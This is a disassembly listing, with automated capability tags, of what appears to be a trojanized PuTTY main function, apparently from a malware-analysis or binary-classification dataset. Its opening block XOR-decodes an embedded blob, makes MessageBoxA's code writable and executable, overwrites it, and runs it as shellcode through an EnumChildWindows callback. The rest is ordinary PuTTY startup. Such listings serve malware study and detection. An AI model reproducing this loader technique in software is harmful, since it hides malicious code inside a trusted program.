Function at 0x458680
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get keyboard layout
Hide graphical window
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x23ac
call fcn.0046c430
mov eax, dword [0x4f6840]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x2380], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x237c], eax
call fcn.00462c70
push 0x2336
lea eax, [ebp - 0x233c]
push 0x4e38f0
push eax
call fcn.0046d450
mov bl, byte [ebp - 0x233c]
add esp, 0xc
xor bl, 0x90
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x23ac]
push ecx
push 0x40
push 0x2335
nop
nop
push edi
nop
nop
call eax
mov ecx, edi
lea esi, [ebp - 0x233c]
sub esi, ecx
mov edx, 0x2335
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
nop
nop
nop
nop
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x458714
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov eax, dword [ebp - 0x2380]
mov dword [0x4fb650], eax
mov dword [0x4fb658], 0
mov dword [0x4fb630], 5
call fcn.00464150
call fcn.00452f80
call fcn.00462780
call fcn.004566d0
call fcn.00463180
test eax, eax
jne 0x4587c4
push dword [0x4cd5a4]
push str._s_Fatal_Error
call fcn.0040df30
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Windows_refuses_to_report_a_version
push 0
call edi
push esi
call fcn.0040e5c0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.0046c107
mov esp, ebp
pop ebp
ret 0x10
cmp dword [0x4fb584], 4
jb 0x4587d8
jne 0x4587e8
cmp dword [0x4fb590], 2
je 0x4587e8
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x4f67b0], eax
call fcn.00461ca0
call fcn.0045e310
call fcn.004032e0
push 0
mov dword [0x4fb61c], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x45882f
cmp eax, 1
je 0x45882f
push dword [0x4cd5a4]
push str._s_Fatal_Error
call fcn.0040df30
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Failed_to_initialize_COM_subsystem
jmp 0x45879f
mov eax, dword [0x4cd5a0]
xor esi, esi
push eax
mov dword [ebp - 0x2378], esi
mov dword [0x4fb62c], eax
call fcn.00412ec0
add esp, 4
mov dword [0x4fb628], esi
test eax, eax
je 0x45885c
mov eax, dword [eax + 0x4c]
mov dword [0x4fb628], eax
push 0
push 0x78
push dword [0x4fb61c]
call fcn.00403580
push dword [0x4fb61c]
push 0
call fcn.00412ef0
mov ebx, dword [ebp - 0x237c]
add esp, 0x14
mov edi, ebx
mov al, byte [ebx]
test al, al
je 0x4588a8
nop dword [eax]
movsx eax, al
push eax
call fcn.0049b1b0
add esp, 4
test eax, eax
je 0x4588a8
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x458890
mov cl, byte [edi]
mov al, cl
cmp cl, 0x26
jne 0x4588e3
cmp byte [edi + 1], 0x52
jne 0x4588e3
mov dl, byte [edi + 2]
lea ebx, [edi + 2]
test dl, dl
je 0x4588ca
cmp dl, 0x40
je 0x4588ca
cmp dl, cl
jne 0x4588dd
call fcn.00467170
mov dword [0x4fb634], 1
mov edi, ebx
mov al, byte [ebx]
mov ebx, dword [ebp - 0x237c]
cmp al, 0x40
jne 0x458958
mov esi, edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4588f0
sub esi, ecx
cmp esi, 1
jle 0x45891a
lea ebx, [edi - 1]
add ebx, esi
movsx eax, byte [ebx]
push eax
call fcn.0049b1b0
add esp, 4
test eax, eax
je 0x45891a
dec esi
dec ebx
cmp esi, 1
jg 0x458903
mov byte [esi + edi], 0
lea eax, [edi + 1]
push dword [0x4fb61c]
push eax
call fcn.00412ef0
push dword [0x4fb61c]
call fcn.0040dd90
add esp, 0xc
test eax, eax
jne 0x45894c
call fcn.00456710
test eax, eax
je 0x459479
mov ebx, 1
xor esi, esi
jmp 0x458a5d
cmp al, 0x26
jne 0x4589e3
lea eax, [ebp - 0x237c]
push eax
lea eax, [ebp - 0x2378]
push eax
lea eax, [edi + 1]
push str._p:_u
push eax
call fcn.00411ed0
add esp, 0x10
cmp eax, 2
jne 0x4589d4
push dword [ebp - 0x237c]
push 0
push 0
push 4
push dword [ebp - 0x2378]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
je 0x4589d4
push dword [ebp - 0x237c]
push edi
push dword [0x4fb61c]
call fcn.00402e20
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x2378]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
jmp 0x458a5d
call fcn.00456710
test eax, eax
je 0x459472
jmp 0x4589ca
test al, al
je 0x458a5b
push 0
lea eax, [ebp - 0x2384]
push eax
lea eax, [ebp - 0x237c]
push eax
push ebx
call fcn.0046a060
mov ecx, dword [ebp - 0x237c]
add esp, 0x10
xor edi, edi
test ecx, ecx
jle 0x458a5b
nop dword [eax]
mov eax, dword [ebp - 0x2384]
lea ebx, [edi + 1]
mov esi, dword [eax + edi*4]
cmp ebx, ecx
jge 0x458a26
mov eax, dword [eax + edi*4 + 4]
jmp 0x458a28
xor eax, eax
push dword [0x4fb61c]
push 1
push eax
push esi
call fcn.00401440
add esp, 0x10
cmp eax, 0xfffffffe
je 0x4594ec
cmp eax, 2
jne 0x458aa9
mov edi, ebx
mov esi, dword [ebp - 0x2378]
mov ecx, dword [ebp - 0x237c]
inc edi
cmp edi, ecx
jl 0x458a10
xor ebx, ebx
push dword [0x4fb61c]
call fcn.00402b40
add esp, 4
cmp dword [0x4fb624], 0
jne 0x458a78
test esi, esi
je 0x458a7d
mov ebx, 1
test ebx, ebx
je 0x458a97
push dword [0x4fb61c]
call fcn.0040dd90
add esp, 4
test eax, eax
jne 0x458c19
call fcn.00456710
test eax, eax
je 0x459479
jmp 0x458c19
cmp eax, 1
je 0x458a4a
mov ecx, str._cleanup
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x458ad5
test dl, dl
je 0x458ad1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x458ad5
add eax, 2
add ecx, 2
test dl, dl
jne 0x458ab5
xor eax, eax
jmp 0x458ada
sbb eax, eax
or eax, 1
test eax, eax
je 0x459497
mov ecx, str._pgpfp
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x458b10
test dl, dl
je 0x458b0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x458b10
add eax, 2
add ecx, 2
test dl, dl
jne 0x458af0
xor eax, eax
jmp 0x458b15
sbb eax, eax
or eax, 1
test eax, eax
je 0x45948b
cmp byte [esi], 0x2d
je 0x459480
cmp dword [ebp - 0x2378], 0
mov ebx, esi
je 0x458b4c
push dword [0x4fb61c]
push 1
push esi
push 0x4cd778
call fcn.00401440
add esp, 0x10
jmp 0x458a4a
push 7
push str.telnet:
push esi
call fcn.0047a3a0
add esp, 0xc
test eax, eax
jne 0x458bf0
add esi, 7
cmp byte [esi], 0x2f
jne 0x458b75
cmp byte [esi + 1], 0x2f
jne 0x458b75
add esi, 2
push 1
push 2
push dword [0x4fb61c]
call fcn.00403580
push 0x4e5e20
push esi
call fcn.0040e2c0
mov cl, byte [eax + esi]
add eax, esi
add esp, 0x14
test cl, cl
je 0x458b9f
mov byte [eax], 0
inc eax
cmp cl, 0x3a
jne 0x458bbd
push eax
call fcn.0047a2d8
push eax
push 1
push dword [0x4fb61c]
call fcn.00403580
add esp, 0x10
jmp 0x458bcf
push 0xffffffffffffffff
push 1
push dword [0x4fb61c]
call fcn.00403580
add esp, 0xc
push esi
push 0
push dword [0x4fb61c]
call fcn.004035e0
mov esi, 1
add esp, 0xc
mov dword [ebp - 0x2378], esi
jmp 0x458a50
mov al, byte [esi]
test al, al
je 0x458c16
movsx eax, al
push eax
call fcn.0049b1b0
add esp, 4
test eax, eax
jne 0x458c0e
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x458bf6
cmp byte [esi], 0
je 0x458c16
mov byte [esi], 0
push ebx
jmp 0x458bd0
push 0
push dword [0x4fb61c]
call fcn.00403140
push eax
call fcn.0040df50
mov edi, eax
push 0x4d3a18
push edi
call fcn.0049da80
add esp, 0x14
cmp byte [edi + eax], 0
lea esi, [edi + eax]
je 0x458c6d
push 0x40
push esi
call fcn.0046e0b0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x458c6d
push esi
mov byte [ebx], 0
push 0x34
push dword [0x4fb61c]
call fcn.004035e0
add esp, 0xc
lea esi, [ebx + 1]
push 0x3a
push esi
call fcn.0040e240
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x458c92
lea ecx, [ebx + 1]
push 0x3a
push ecx
call fcn.0040e240
add esp, 8
test eax, eax
jne 0x458c92
mov byte [ebx], al
mov al, byte [esi]
mov ecx, edi
test al, al
je 0x458cb3
nop word [eax + eax]
cmp al, 0x20
je 0x458cab
cmp al, 9
je 0x458cab
mov byte [ecx], al
inc ecx
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x458ca0
push edi
mov byte [ecx], 0
push 0
push dword [0x4fb61c]
call fcn.004035e0
push edi
call fcn.0040e5c0
add esp, 0x10
cmp dword [ebp + 0xc], 0
jne 0x458d69
mov eax, dword [ebp - 0x2380]
push 0xc8
push eax
mov dword [ebp - 0x2374], 0
mov dword [ebp - 0x2370], 0x459510
mov dword [ebp - 0x236c], 0
mov dword [ebp - 0x2368], 0
mov dword [ebp - 0x2364], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f01
push 0
mov dword [ebp - 0x2360], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push dword [0x4cd5a4]
mov dword [ebp - 0x235c], eax
push 0
push 0
mov dword [ebp - 0x2358], 0
mov dword [ebp - 0x2354], 0
call fcn.0040ebb0
add esp, 0xc
mov dword [ebp - 0x2350], eax
lea eax, [ebp - 0x2374]
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0xb10
push 0
push 0x4f7c78
call fcn.0046d9d0
call fcn.0045c2c0
call fcn.0045c2f0
push 0x73
push dword [0x4fb61c]
mov dword [0x4f7c44], 0xa
mov dword [0x4f7c48], 0x14
mov dword [0x4f7c3c], 0x19
mov dword [0x4f7c40], 0x1c
call fcn.004030e0
imul eax, dword [0x4f7c44]
push 0x74
push dword [0x4fb61c]
add eax, dword [0x4f7c3c]
mov dword [ebp - 0x2388], eax
call fcn.004030e0
imul eax, dword [0x4f7c48]
add eax, dword [0x4f7c40]
mov dword [ebp - 0x237c], eax
lea eax, [ebp - 0x234c]
push eax
call fcn.0045db50
mov eax, dword [ebp - 0x2344]
sub eax, dword [ebp - 0x234c]
push dword [0x4cd5a4]
mov dword [ebp - 0x2378], eax
mov eax, dword [ebp - 0x2340]
sub eax, dword [ebp - 0x2348]
push 0
push 0
mov dword [ebp - 0x2384], eax
call fcn.0040ebb0
push 0x6d
push dword [0x4fb61c]
mov dword [ebp - 0x238c], eax
call fcn.004030e0
neg eax
push 0x6f
push dword [0x4fb61c]
sbb ebx, ebx
and ebx, 0x200000
add ebx, 0xcf0000
call fcn.004030e0
push 0x56
push dword [0x4fb61c]
mov esi, eax
call fcn.004030e0
add esp, 0x44
neg eax
sbb edi, edi
and edi, 8
push 0x7e
push dword [0x4fb61c]
call fcn.004030e0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x2384]
cmp dword [ebp - 0x237c], eax
cmovle eax, dword [ebp - 0x237c]
push 0
push dword [ebp - 0x2380]
push 0
push 0
push eax
mov eax, dword [ebp - 0x2378]
cmp dword [ebp - 0x2388], eax
cmovle eax, dword [ebp - 0x2388]
push eax
mov eax, ebx
push 0x80000000
and eax, 0xfffaffff
cmp esi, 1
push 0x80000000
cmovne eax, ebx
mov ebx, dword [ebp - 0x238c]
push eax
push ebx
push ebx
mov eax, edi
or eax, 0x200
test ecx, ecx
cmove eax, edi
push eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
push ebx
mov dword [0x4fb658], eax
call fcn.0040e5c0
push 0
push 0
call fcn.0045dcc0
push 0
push 0x4f7c78
push dword [0x4fb61c]
call fcn.00449f20
push dword [0x4fb61c]
mov dword [0x4fb64c], eax
push 0
call fcn.0040abf0
push eax
push dword [0x4fb64c]
mov dword [0x4fb648], eax
call fcn.0044e1c0
push 0x60
push dword [0x4fb61c]
call fcn.004030e0
add esp, 0x30
push eax
push 0x73
push dword [0x4fb61c]
call fcn.004030e0
add esp, 8
push eax
push 0x74
push dword [0x4fb61c]
call fcn.004030e0
add esp, 8
push eax
push dword [0x4fb64c]
call fcn.0044e8a0
add esp, 0x10
lea eax, [ebp - 0x235c]
push eax
push dword [0x4fb658]
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [ebp - 0x234c]
push eax
push dword [0x4fb658]
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x7f
push dword [0x4fb61c]
call fcn.004030e0
mov esi, dword [ebp - 0x234c]
add esp, 8
sub esi, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x2348]
sub edx, dword [ebp - 0x2340]
lea ecx, [eax + eax]
sub esi, dword [ebp - 0x235c]
sub edx, dword [ebp - 0x2358]
add esi, dword [ebp - 0x2354]
add edx, dword [ebp - 0x2350]
add esi, ecx
add edx, ecx
mov dword [0x4f7c58], eax
mov ecx, dword [0x4fb64c]
mov dword [0x4f7c54], eax
mov dword [0x4f7c3c], esi
mov dword [0x4f7c40], edx
mov eax, dword [ecx + 0x128]
imul eax, dword [0x4f7c48]
push 0xe
add eax, edx
push eax
mov eax, dword [ecx + 0x12c]
imul eax, dword [0x4f7c44]
add eax, esi
push eax
push 0
push 0
push 0
push dword [0x4fb658]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [0x4f7c44]
add eax, 0xf
cdq
and edx, 0xf
push 1
lea esi, [edx + eax]
sar esi, 4
imul esi, dword [0x4f7c48]
add esi, esi
push esi
call fcn.0040e5e0
push esi
mov edi, eax
push 0
push edi
call fcn.0046d9d0
add esp, 0x14
push edi
push 1
push 1
push dword [0x4f7c48]
push dword [0x4f7c44]
call dword [sym.imp.GDI32.dll_CreateBitmap]
push edi
mov dword [0x4f9144], eax
call fcn.0040e5c0
add esp, 4
push dword [0x4f7c48]
push dword [0x4f7c44]
push dword [0x4f9144]
push dword [0x4fb658]
call dword [sym.imp.USER32.dll_CreateCaret]
mov ecx, dword [0x4fb64c]
mov dword [ebp - 0x2368], 0x1c
mov dword [ebp - 0x2364], 0x1f
mov dword [ebp - 0x2360], 0
mov eax, dword [ecx + 0x128]
dec eax
mov dword [ebp - 0x235c], eax
mov eax, dword [ecx + 0x128]
push 0
mov dword [ebp - 0x2358], eax
lea eax, [ebp - 0x2368]
push eax
push 1
push dword [0x4fb658]
mov dword [ebp - 0x2354], 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
mov dword [0x4f9150], 0
mov dword [0x4f9154], 0
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0
push dword [0x4fb658]
mov dword [0x4f9148], eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov dword [0x4f87a8], eax
call dword [sym.imp.USER32.dll_CreatePopupMenu]
mov ebx, dword [sym.imp.USER32.dll_AppendMenuA]
push str.Paste
push 0x190
push 0
push eax
mov dword [0x4f87ac], eax
call ebx
call dword [sym.imp.USER32.dll_CreateMenu]
push 1
push 0x4f87b4
mov dword [0x4f87b0], eax
call fcn.00412f40
add esp, 8
call fcn.0045f9e0
xor eax, eax
mov dword [ebp - 0x2380], eax
nop
mov edi, dword [eax + 0x4f87a8]
push 0
push 0
push 0x800
push edi
call ebx
push str.Event_Log
push 0x10
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.New_Session...
push 0x20
push 0
push edi
call ebx
push str.Duplicate_Session
push 0x30
push 0
push edi
call ebx
push str.Saved_Sessions
push dword [0x4f87b0]
push 0x10
push edi
call ebx
push str.Change_Settings...
push 0x50
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.Copy_All_to_Clipboard
push 0x170
push 0
push edi
call ebx
push str.Clear_Scrollback
push 0x60
push 0
push edi
call ebx
push str.Reset_Terminal
push 0x70
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.Full_Screen
push 0x180
push 0x6f
push dword [0x4fb61c]
call fcn.004030e0
add esp, 8
dec eax
neg eax
sbb eax, eax
inc eax
push eax
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
call fcn.00461c80
test eax, eax
je 0x459265
push str.Help
push 0x140
push 0
push edi
call ebx
push dword [0x4cd5a4]
push str.About__s
call fcn.0040df30
add esp, 8
mov esi, eax
push esi
push 0x150
push 0
push edi
call ebx
push esi
call fcn.0040e5c0
mov eax, dword [ebp - 0x2380]
add esp, 4
add eax, 4
mov dword [ebp - 0x2380], eax
cmp eax, 8
jb 0x459180
cmp dword [0x4fb634], 0
je 0x4592be
push str.Running_with_restricted_process_ACL
push 0
call fcn.004569c0
add esp, 8
call fcn.0045f4f0
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
call fcn.0045f270
add esp, 4
push dword [ebp + 0x14]
push dword [0x4fb658]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x4fb658]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [0x4f8e28], 0
mov dword [0x4f8e2c], 0
call fcn.0045e1c0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
xor ecx, ecx
cmp eax, dword [0x4fb658]
sete cl
push ecx
push dword [0x4fb64c]
call fcn.0044e880
add esp, 8
push dword [0x4fb658]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_PeekMessageW]
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageW]
call fcn.00401300
test eax, eax
jne 0x459390
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x23a8]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x459390
mov dword [ebp - 0x2380], 0xffffffff
call dword [sym.imp.USER32.dll_GetForegroundWindow]
xor ecx, ecx
cmp eax, dword [0x4fb658]
sete cl
push ecx
push dword [0x4fb64c]
call fcn.0044e880
add esp, 8
jmp 0x45939a
mov dword [ebp - 0x2380], 0
lea eax, [ebp - 0x237c]
push eax
call fcn.00461500
add esp, 4
mov dword [ebp - 0x2378], eax
push 0x1cff
push dword [ebp - 0x2380]
push 0
push eax
push dword [ebp - 0x237c]
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov ecx, eax
cmp ecx, dword [ebp - 0x237c]
jae 0x4593e4
mov eax, dword [ebp - 0x2378]
push dword [eax + ecx*4]
call fcn.004615b0
add esp, 4
push dword [ebp - 0x2378]
call fcn.0040e5c0
add esp, 4
lea eax, [ebp - 0x23a8]
push 1
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x45945d
cmp dword [ebp - 0x23a4], 0x12
je 0x459467
push dword [0x4fb654]
call ebx
test eax, eax
je 0x459433
lea eax, [ebp - 0x23a8]
push eax
push dword [0x4fb654]
call dword [sym.imp.USER32.dll_IsDialogMessageA]
test eax, eax
jne 0x45943c
lea eax, [ebp - 0x23a8]
push eax
call edi
cmp dword [ebp - 0x23a4], 0x8005
jne 0x45945d
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x23a8]
push eax
call esi
test eax, eax
jne 0x459407
call fcn.004012c0
jmp 0x459346
push dword [ebp - 0x23a0]
call fcn.0045bf10
push 0
call fcn.0045bf10
push 0
call fcn.0045bf10
push esi
push str.unknown_option___s_
call fcn.0045c260
call fcn.00469f80
push 1
call fcn.004a800b
push dword [0x4cd5a4]
push str.This_procedure_will_remove_ALL_Registry_entries_nassociated_with__s__and_will_also_remove_nthe_random_seed_file.__This_only_affects_the_ncurrently_logged_in_user.__n_nTHIS_PROCESS_WILL_DESTROY_YOUR_SAVED_SESSIONS._nAre_you_really_sure_you_want_to_continue_
call fcn.0040df30
push dword [0x4cd5a4]
mov esi, eax
push str._s_Warning
call fcn.0040df30
push 4
mov edi, eax
push 0x134
push edi
push esi
call fcn.00469e60
add esp, 0x20
cmp eax, 6
jne 0x4594d6
call fcn.00467f70
push esi
call fcn.0040e5c0
push edi
call fcn.0040e5c0
add esp, 8
push 0
call fcn.004a800b
push esi
push str.option___s__requires_an_argument
call fcn.0045c260
int3